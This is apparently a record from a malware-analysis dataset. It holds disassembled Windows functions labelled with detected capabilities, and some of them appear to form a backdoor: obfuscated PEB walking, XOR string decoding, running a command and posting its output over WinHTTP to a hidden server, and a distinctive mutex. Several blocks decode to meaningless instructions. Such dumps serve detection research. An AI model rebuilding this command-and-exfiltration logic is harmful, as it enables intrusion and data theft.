joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003cd84
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov ecx, dword [rsp + 0x4c]
xor ecx, 0xffffffff
mov rdx, qword [rsp + 0xb8]
mov dword [rsp + 0x128], ecx
mov qword [rsp + 0xf8], 0
mov r8, qword [rsp + 0x40]
xor r8, 0x6550af21
mov qword [rsp + 0x130], r8
cmp rax, rdx
je 0x14003ce86
jmp 0x14003cf4c
mov eax, dword [rsp + 0x4c]
add eax, 0x27b425a8
mov dword [rsp + 0x128], eax
mov rcx, qword [rsp + 0x50]
cmp rcx, 0
je 0x14003cc79
jmp 0x14003cc8a
movabs rax, 0x51e309aa6e58587
mov cx, word [rsp + 0x126]
mov dl, byte [rsp + 0x3d]
xor dl, 0xff
mov r8, qword [rsp + 0xb0]
mov byte [rsp + 0x12f], dl
xor cx, 0xe7e5
mov qword [rsp + 0x130], rax
cmp word [r8], cx
je 0x14003d0ca
jmp 0x14003cdc7
lea rax, [0x14003bd50]
mov qword [rsp + 0x70], rax
jmp 0x14003d228
mov eax, dword [rsp + 0x120]
mov ecx, dword [rsp + 0x4c]
xor ecx, 0x11ffd3ae
mov dword [rsp + 0x128], ecx
mov rdx, qword [rsp + 0x40]
add rdx, rdx
mov r8b, byte [rsp + 0x5d]
add eax, 0x812e63d6
mov dword [rsp + 0x38], eax
mov ecx, dword [rsp + 0x38]
mov r9, qword gs:[ecx]
mov qword [rsp + 0x130], rdx
mov r10b, byte [rsp + 0x12e]
add r10b, 0xe6
mov r11w, word [rsp + 0x3e]
imul si, r11w, 0x39c7
mov word [rsp + 0x12c], si
mov bl, byte [rsp + 0x3d]
and bl, 0xa2
mov rax, qword [r9 + 0x60]
mov byte [rsp + 0x12f], bl
mov rdx, qword [rsp + 0x40]
and rdx, 0x406028e2
mov qword [rsp + 0x130], rdx
mov rax, qword [rax + 0x18]
add rax, 0x20
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0x128], 0x6e0083d9
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xf8], 0
cmp r10b, r8b
ja 0x14003ce86
jmp 0x14003ca6d
mov dword [rsp + 0x70], 0
cmp ecx, eax
jbe 0x14003cacc
jmp 0x14003d228
mov ax, word [rsp + 0x3e]
add ax, ax
mov rcx, qword [rsp + 0x118]
mov rdx, qword [rsp + 0x118]
mov r8, qword [rsp + 0x68]
mov word [rsp + 0x12c], ax
xor rcx, 0xffffffffc3557646
add r8, rcx
mov r9d, dword [rsp + 0x4c]
xor r9d, 0x5262e733
xor rdx, 0xffffffffc3557646
mov dword [rsp + 0x128], r9d
and r8, rdx
mov qword [rsp + 0x70], r8
jmp 0x14003d228
mov rax, qword [rsp + 0x40]
imul rax, rax
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0xa8]
mov dword [rsp + 0x128], 0xa0e91cae
mov qword [rsp + 0xf0], rax
mov al, byte [rsp + 0x3d]
mov cl, byte [rsp + 0x3d]
mul cl
mov byte [rsp + 0x12f], al
jmp 0x14003caf0
mov eax, dword [rsp + 0x120]
mov rcx, qword [rsp + 0x68]
mov dx, word [rsp + 0x3e]
imul dx, dx
mov word [rsp + 0x12c], dx
add eax, 0x812ea8f6
mov dx, word [rsp + 0x3e]
and dx, dx
mov word [rsp + 0x12c], dx
mov r8d, dword [rcx + 0x3c]
mov r9b, byte [rsp + 0x3d]
xor r9b, 0xbf
mov byte [rsp + 0x12f], r9b
movsxd rcx, r8d
mov r10, qword [rsp + 0x68]
mov r8d, dword [r10 + rcx]
mov rcx, qword [rsp + 0x40]
xor rcx, 0x5a5a297c
mov r10, qword [rsp + 0x68]
invalid
invalid
Function at 0x14003e428
Capabilities:
Access peb ldr_data

Disassembly:
add dword [rax], eax
add byte [rax - 0x7774cb30], cl
test byte [rdi + rbp*4], ah
add dword [rax], eax
add byte [rax - 0x776afb30], cl
test byte [rdi + rbp*4], ah
add dword [rax], eax
add byte [rsi - 0x75], ah
pushfq
and al, 0x9e
add dword [rax], eax
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0xa0
add dword [rax], eax
add byte [rsi - 0x7f], ah
mov ebp, 0x9c8966ec
and al, 0xa
add dword [rax], eax
add byte [rsi - 0x39], ah
test byte [rsp], ah
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rsp + rbx], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rsp + rdx], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rsp + rcx], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add dword [rax], eax
add byte [rdi + rbx - 0x76b2819a], al
invalid

Function at 0x14003f360
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x138
movabs rax, 0xc72e1e13064c52c
mov r9w, 0xa007
mov r10w, word [rsp + 0x126]
mov dword [rsp + 0x134], 0x3be0e9fa
mov r11b, byte [rsp + 0x125]
mov bl, r11b
add bl, bl
mov byte [rsp + 0x125], bl
mov qword [rsp + 0x118], 0x42977e56
mov rsi, qword [rsp + 0x128]
mov word [rsp + 0x116], 0xdb8c
mov di, word [rsp + 0x116]
xor di, 0xd11a
mov byte [rsp + 0x125], r11b
mov word [rsp + 0x9e], di
mov di, word [rsp + 0x9e]
mov ebp, dword [rsp + 0x134]
mov r14d, ebp
xor r14d, 0x966262e
mov dword [rsp + 0x4c], r14d
mov word [rsp + 0x126], 0xc7b0
sub r9w, word [rsp + 0x116]
mov qword [rsp + 0x128], rax
imul r14d, ebp, 0x11260581
mov dword [rsp + 0x130], r14d
mov rax, qword [rsp + 0x118]
mov r15, rsi
or r15, 0x6ba66ad2
mov qword [rsp + 0x128], r15
mov bl, r11b
xor bl, 0xd3
add rax, 0xfffffffffed78c94
mov byte [rsp + 0x125], bl
mov qword [rsp + 0x50], rax
mov al, r11b
mul r11b
mov byte [rsp + 0x125], al
cmp di, r9w
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x18], rsi
mov eax, 0x42977e56
mov ecx, eax
mov dx, word [rsp + 0x12]
xor dx, 0xffff
mov word [rsp + 0x126], dx
sub rcx, qword [rsp + 0x118]
mov r8, qword [rsp + 0x28]
cmp r8, rcx
je 0x140040426
jmp 0x14003f83e
Function at 0x1400112ee
Capabilities:
Terminate process

Disassembly:
jmp 0x140016940
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x1400113cf
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017c90
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140017cb0
xor al, al
jmp 0x140017d31
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017cc3
xor al, al
jmp 0x140017d31
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140017ced
xor al, al
jmp 0x140017d31
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017d01
xor al, al
jmp 0x140017d31
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017d13
xor al, al
jmp 0x140017d31
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140017d2f
xor al, al
jmp 0x140017d31
mov al, 1
add rsp, 0x38
ret
Function at 0x140015a90
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400115cd
movzx eax, al
test eax, eax
jne 0x140015ab0
mov ecx, 7
call fcn.1400114b0
nop
mov byte [rsp + 0x20], 0
call fcn.1400114e2
mov byte [rsp + 0x21], al
cmp dword [0x140023b78], 1
jne 0x140015ad4
mov ecx, 7
call fcn.1400114b0
nop
jmp 0x140015b2c
cmp dword [0x140023b78], 0
jne 0x140015b27
mov dword [0x140023b78], 1
lea rdx, [0x14001e660]
lea rcx, [0x14001e330]
call fcn.140011276
test eax, eax
je 0x140015b08
mov eax, 0xff
jmp 0x140015c31
lea rdx, [0x14001e220]
lea rcx, [section..rdata]
call fcn.1400114ce
mov dword [0x140023b78], 2
jmp 0x140015b2c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001149c
call fcn.1400113f7
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140015b89
mov rcx, qword [rsp + 0x30]
call fcn.140011208
movzx eax, al
test eax, eax
je 0x140015b89
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002a020]
nop
call fcn.14001143d
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140015bbd
mov rcx, qword [rsp + 0x38]
call fcn.140011208
movzx eax, al
test eax, eax
je 0x140015bbd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011569
nop
call fcn.140015ce0
mov dword [rsp + 0x28], eax
call fcn.1400113cf
movzx eax, al
test eax, eax
jne 0x140015bdc
mov ecx, dword [rsp + 0x28]
call fcn.14001106e
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140015beb
call fcn.140011578
nop
xor edx, edx
mov cl, 1
call fcn.1400111e5
mov eax, dword [rsp + 0x28]
jmp 0x140015c31
add rsp, 0x68
ret
Function at 0x140001200
Capabilities:
Encode data using xor

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
mov ecx, 0x100
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x14000123c
xor eax, eax
jmp 0x1400012c5
xor eax, eax
cmp eax, 1
je 0x140001268
mov eax, dword [rsp + 0x24]
inc eax
cdqe
mov rcx, qword [rsp + 0x50]
movsx eax, byte [rcx + rax]
test eax, eax
jne 0x14000125c
jmp 0x140001268
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
jmp 0x14000123c
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x28], eax
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
movsx eax, byte [rcx + rax]
xor eax, dword [rsp + 0x58]
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x30]
mov byte [rdx + rcx], al
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x28]
dec eax
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x2c], 0
jne 0x140001270
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
mov byte [rcx + rax], 0
mov rax, qword [rsp + 0x30]
add rsp, 0x48
ret

Function at 0x1400012d0
Capabilities:
Encode data using xor

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x220
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x210], rax
mov dword [rsp + 4], 0
mov dword [rsp], 0
lea rax, [rsp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x200
rep stosb byte [rdi], al
xor eax, eax
cmp eax, 1
je 0x14000133f
mov eax, dword [rsp]
inc eax
cdqe
mov rcx, qword [rsp + 0x230]
movsx eax, byte [rcx + rax]
test eax, eax
jne 0x140001335
jmp 0x14000133f
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
jmp 0x140001313
mov eax, dword [rsp]
mov dword [rsp + 8], eax
movsxd rax, dword [rsp + 4]
mov rcx, qword [rsp + 0x230]
movsx ax, byte [rcx + rax]
movzx eax, ax
xor eax, dword [rsp + 0x238]
movsxd rcx, dword [rsp + 4]
mov word [rsp + rcx*2 + 0x10], ax
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
mov eax, dword [rsp + 8]
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 8]
dec eax
mov dword [rsp + 8], eax
cmp dword [rsp + 0xc], 0
jne 0x140001346
lea rax, [rsp + 0x10]
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.1400023f0
add rsp, 0x220
pop rdi
ret
Function at 0x1400013b0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x1c8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
lea rcx, [rsp + 0x48]
call fcn.1400011e0
lea rcx, [rsp + 0x48]
call fcn.1400011c0
mov qword [rsp + 0x38], rax
mov r9, qword [rsp + 0x38]
lea r8, str.__Y__m__d__H:_M:_S_
mov edx, 0x50
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov qword [rsp + 0x40], rax
mov edx, 0x1c
lea rcx, str.___Ioyno__9o___llXh__Ps
call fcn.140001200
mov rcx, qword [rsp + 0x40]
mov r9, rcx
mov r8, rax
mov edx, 0x104
lea rcx, [rsp + 0xa0]
call fcn.140001150
lea rdx, [0x140006124]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400014c9
cmp dword [rsp + 0x1d0], 0x63
jne 0x1400014a0
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x1d0]
lea r8, [rsp + 0x50]
lea rdx, str._s_____x___s_n
mov rcx, qword [rsp + 0x30]
call fcn.140001060
jmp 0x1400014be
mov r9d, dword [rsp + 0x1d0]
lea r8, [rsp + 0x50]
lea rdx, str._s_____x__n
mov rcx, qword [rsp + 0x30]
call fcn.140001060
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.1400023f0
add rsp, 0x1c8
ret
Function at 0x140001bb0
Capabilities:
Initialize winhttp library
Prepare http request
Read and send data from client to server
Read file on windows
Receive http response
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x27a0
call fcn.1400030f0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2790], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
lea rdx, [0x14000609c]
mov rcx, qword [rsp + 0x27b0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x2710
rep stosb byte [rdi], al
mov r9, qword [rsp + 0x68]
mov r8d, 0x270f
mov edx, 1
lea rcx, [rsp + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140006148]
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140001dd4
mov edx, 0x3b
lea rcx, [0x140006078]
call fcn.1400012d0
xor r9d, r9d
mov r8w, 0x1388
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001dc7
mov dword [rsp + 0x7c], 0x3100
mov r9d, 4
lea r8, [rsp + 0x7c]
mov edx, 0x1f
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140006138]
lea rdx, [0x140006128]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140001dba
lea rax, [0x1400060d0]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x270f
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rsp + 0x40], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x78], eax
cmp dword [rsp + 0x40], 0
je 0x140001db8
xor r9d, r9d
mov r8d, 0x270f
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x140001db8
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rsp + 0x40], eax
jmp 0x140001dc5
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x140001dd2
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x140001ddf
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x2790]
xor rcx, rsp
call fcn.1400023f0
add rsp, 0x27a0
pop rdi
ret
Function at 0x140001e00
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xf0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x70], 0x68
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001eae
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400023f0
add rsp, 0xf0
pop rdi
ret
Function at 0x1400023a0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.140002300
test eax, eax
je 0x1400023b5
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rax, [0x140002320]
test rax, rax
je 0x1400023c6
call fcn.140002020
jmp 0x1400023ca
xor eax, eax
add rsp, 0x28
ret

Function at 0x140002cc4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002d0e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002d0e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002d0e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002d0e
cmp dword [rcx + 0x84], 0xe
jbe 0x140002d0e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002d10
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Check mutex on windows

Disassembly:
sub rsp, 0x28
lea r8, str.TotSamiyProektMutexIsRun
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
test rax, rax
je 0x14000103d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000103d
nop word [rax + rax]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001030
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001a48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a92
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a94
xor al, al
add rsp, 0x28
ret

Function at 0x1400061cc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005fc8
Function at 0x14000928c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400092bc
xor eax, eax
jmp 0x14000937f
mov rbp, rbx
cmp word [rax], si
je 0x1400092e1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400092c8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400092c4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400091ac
movsxd r14, eax
test eax, eax
jne 0x14000931f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400092b5
mov rcx, r14
call fcn.14000a168
mov rdi, rax
test rax, rax
jne 0x140009338
xor ecx, ecx
call fcn.14000780c
jmp 0x140009314
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400091ac
test eax, eax
jne 0x140009369
mov rcx, rdi
call fcn.14000780c
jmp 0x140009373
xor ecx, ecx
call fcn.14000780c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000c870
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000827c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000c8fa
cmp byte [rbp - 0x21], r15b
je 0x14000c8f5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000c930
call fcn.14000a978
test eax, eax
jne 0x14000c91c
cmp byte [rbp - 0x21], r15b
je 0x14000c914
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000c930
cmp byte [rbp - 0x21], r15b
je 0x14000c92d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000785c
test eax, eax
jne 0x14000c9d0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000827c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000c96f
cmp byte [rbp - 0x21], r15b
je 0x14000c9a4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000c9a4
call fcn.14000a978
test eax, eax
jne 0x14000c990
cmp byte [rbp - 0x21], r15b
je 0x14000c989
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000c9a4
cmp byte [rbp - 0x21], r15b
je 0x14000c9a1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000785c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000c9d0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000c9d3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000c9e1
mov rcx, rdi
call fcn.14000780c
cmp byte [rbp + 0x3f], r15b
je 0x14000c9f0
mov rcx, qword [rbp + 0x27]
call fcn.14000780c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000f820
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000f848
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000f848
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret